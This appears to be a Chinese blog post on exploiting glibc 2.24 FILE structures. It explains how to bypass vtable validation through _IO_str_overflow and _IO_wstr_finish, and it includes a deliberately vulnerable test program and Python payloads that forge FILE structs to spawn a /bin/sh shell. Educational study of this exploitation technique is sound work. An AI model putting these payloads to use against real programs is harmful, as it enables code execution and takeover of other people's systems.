• Pwn with File结构体(四)


    前言

    前面几篇文章说道,glibc 2.24vtable 做了检测,导致我们不能通过伪造 vtable 来执行代码。今天逛 twitter 时看到了一篇通过绕过 对vtable 的检测 来执行代码的文章,本文做个记录。

    文中涉及的代码,libc, 二进制文件。

    https://gitee.com/hac425/blog_data/blob/master/pwn_file/file_struct_part4.rar
    

    正文

    首先还是编译一个有调试符号的 glibc 来辅助分析。

    源码下载链接

    http://mirrors.ustc.edu.cn/gnu/libc/glibc-2.24.tar.bz2
    

    可以参考

    http://blog.csdn.net/mycwq/article/details/38557997
    

    新建一个目录用于存放编译文件,进入该文件夹(这里为glibc_224 ),执行 configure 配置

    mkdir glibc_224
    cd glibc_224/
    ../glibc-2.24/configure --prefix=/home/haclh/workplace/glibc_224  --disable-werror  --enable-debug=yes
    

    然后 make -j8 && make install, 即可在 /home/haclh/workplace/glibc_224 找到编译好的 libc

    vtable 进行校验的函数是 IO_validate_vtable

    就是保证 vtable 要在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间。

    绕过的方法是在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间找到可以利用的东西,下面介绍两种。

    前提:可以伪造 FILE 机构体

    测试代码 ( 来源 )

    /* gcc vuln.c -o vuln */
    
    #include <stdio.h>
    #include <unistd.h>
    
    char fake_file[0x200];
    
    int main() {
      FILE *fp;
      puts("Leaking libc address of stdout:");
      printf("%p
    ", stdout); // Emulating libc leak
      puts("Enter fake file structure");
      read(0, fake_file, 0x200);
      fp = (FILE *)&fake_file;
      fclose(fp);
      return 0;
    }
    
    

    首先 printf("%p ", stdout) 用来泄露 libc 地址,然后使用 read 读入数据用来伪造 FILE 结构体, 最后调用 fclose(fp).

    利用__IO_str_overflow

    __IO_str_overflow_IO_str_jumps 的一个函数指针.

    _IO_str_jumps 就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间 所以我们是可以通过 IO_validate_vtable 的检测的。

    具体怎么拿 shell 还得看看 __IO_str_overflow源代码, 这里我就用 ida 看了(清楚一些)

    首先是对 fp->_flag 做了一些判断

    fp->_flag 设为 0x0, 就不会进入。接下来的才是重点

    可以看到 如果 设置

    fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base
    

    我们就能进入 (fp[1]._IO_read_ptr)(2 * size + 100), 回到汇编看看。

    执行 call qword ptr [fp+0E0h]fp+0E0h 使我们控制的,于是可以控制 rip, 此时的参数为 2 * size + 100, 而 size = fp->_IO_buf_end - fp->_IO_buf_base 所以此次 call 的参数也是可以控制的。

    利用思路就很简单了,设置 fp+0xe0system, 同时设置 fp->_IO_buf_end fp->_IO_buf_base, 使得 2 * size + 100/bin/sh 的地址, 执行 system("/bin/sh") 获取 shell

    比如 fp->_IO_buf_base=0fp->_IO_buf_end=(sh-100)/2

    fake_file += p64(0x0)   	 # buf_base
    fake_file += p64((sh-100)/2) # buf_end
    

    当执行 fclose 是会 调用 _IO_FINISH (fp)

    其实就是 fp->vtable->__finish

    #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
    

    执行 _IO_FINISH (fp) 之前还对 锁进行了获取, 所以我们需要设置 fp->_lock 的值为一个 指向 0x0 的值(*ptr=0x0000000000000000),所以最终的 file 结构体的内容为

    fake_file = p64(0x0)  # flag
    fake_file += p64(0x0)    # read_ptr
    fake_file += p64(0x0)    # read_end
    fake_file += p64(0x0)    # read_base
    
    
    fake_file += p64(0x0)        # write_base
    fake_file += p64(sh) 		 # write_ptr - write_base  > buf_end - buf_base, bypass check
    fake_file += p64(0x0)        # write_end
    
    fake_file += p64(0x0)   	 # buf_base
    fake_file += p64((sh-100)/2) # buf_end
    
    fake_file += "x00" * (0x88 - len(fake_file))  # padding for _lock
    fake_file += p64(0x00601273)   # ptr-->0x0 , for bypass get lock
    
    # p _IO_str_jumps
    fake_file += "x00" * (0xd8 - len(fake_file))  # padding for vtable
    fake_file += p64(_IO_jump_t + 0x8) # make __IO_str_overflow on __finish , which call by fclose
    
    fake_file += "x00" * (0xe0 - len(fake_file))  # padding for vtable
    fake_file += p64(system) # ((_IO_strfile *) fp)->_s._allocate_buffer
    
    
    

    有一个小细节我把 vtable 设置为了 p64(_IO_jump_t + 0x8),原因在于 一个正常的 FILE 结构体的 vtable 的结构为

    _finish 在第三个字段

    __IO_str_overflow_IO_str_jumps 的第4个字段.

    vtable 设置为 p64(_IO_jump_t + 0x8) 后, vtable->_finish__IO_str_overflow 的地址了。

    在调用 fclose 处下个断点,断下来后打印第一个参数

    可以看到

    • _flags 域 为 0
    • 2*(buf_end - buf_base) + 100 指向 /bin/sh
    • _lock 指向 0x0
    • 虚表的第三个表项(vtable->_finish)为 __IO_str_overflow 的地址
    • $rdi+0xe0system 的地址(rdi即为 fp)

    这样在执行 fclose 时就会进入 __IO_str_overflow ,然后进入 call qword ptr [fp+0E0h] 执行 system("/bin/sh") 拿到 shell

    利用 _IO_wstr_finish

    _IO_wstr_finish 位于 _IO_wstr_jumps 里面

    可以看到 _IO_wstr_jumps 也是位于 位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间的。

    _IO_wstr_finishcheck 比较简单

    fp->_wide_data->_IO_buf_base 不为0, 而且 v2->_flags2 就可以劫持 rip 了,看汇编代码会清晰不少

    只需要在 fp+0xa0 处放置一个指针 ptr , 使得 ptr+0x30 处的 值不为 0 即可。(这个值随便找就行),然后 设置 fp+0x74 的值为 0, 最后设置 fp+0xe8 的值为 one_shot ,在执行 fclose()时就会去执行 one_shot 拿到 shell

    伪造 file 结构体的代码

    fake_file = p64(0x0)  # flag
    fake_file += p64(0x0)    # read_ptr
    fake_file += p64(0x0)    # read_end
    fake_file += p64(0x0)    # read_base
    
    
    fake_file += p64(0x0)        # write_base
    fake_file += p64(sh) 		 # write_ptr - write_base  > buf_end - buf_base, bypass check
    fake_file += p64(0x0)        # write_end
    
    fake_file += p64(0x0)   	 # buf_base
    fake_file += p64((sh-100)/2) # buf_end
    
    
    fake_file += "x00" * (0x88 - len(fake_file))  # padding for _lock
    
    fake_file += p64(0x00601273)   # ptr-->0x0 , for bypass get lock
    
    fake_file +=  "x00" * (0xa0 - len(fake_file)) 
    fake_file += p64(0x601030) # _wide_data
    
    # p &_IO_wstr_jumps
    fake_file += "x00" * (0xd8 - len(fake_file))  # padding for vtable
    fake_file += p64(_IO_wstr_jumps) 
    
    fake_file += "x00" * (0xe8 - len(fake_file))  # padding for vtable
    fake_file += p64(one_shot) # rip
    

    最后

    ida看代码比较清楚,文中的两种方法挺不错,利用了其他的 vtable 中的有趣的函数来绕过 check

    参考

    https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

    http://blog.rh0gue.com/2017-12-31-34c3ctf-300/

  • 相关阅读:
    奇异值分解(SVD)与在降维中的应用
    拉格朗日乘子法&KKT条件
    有监督学习、无监督学习、半监督学习
    LSTM学习—Long Short Term Memory networks
    Ubuntu16.04+CUDA8.0+cuDNN5.1+Python2.7+TensorFlow1.2.0环境搭建
    激活函数
    C基础学习笔记
    Hive
    Fragment跳转至Activity片段随笔
    冒泡排序和选择排序
  • 原文地址:https://www.cnblogs.com/hac425/p/9416825.html
Copyright © 2020-2023  润新知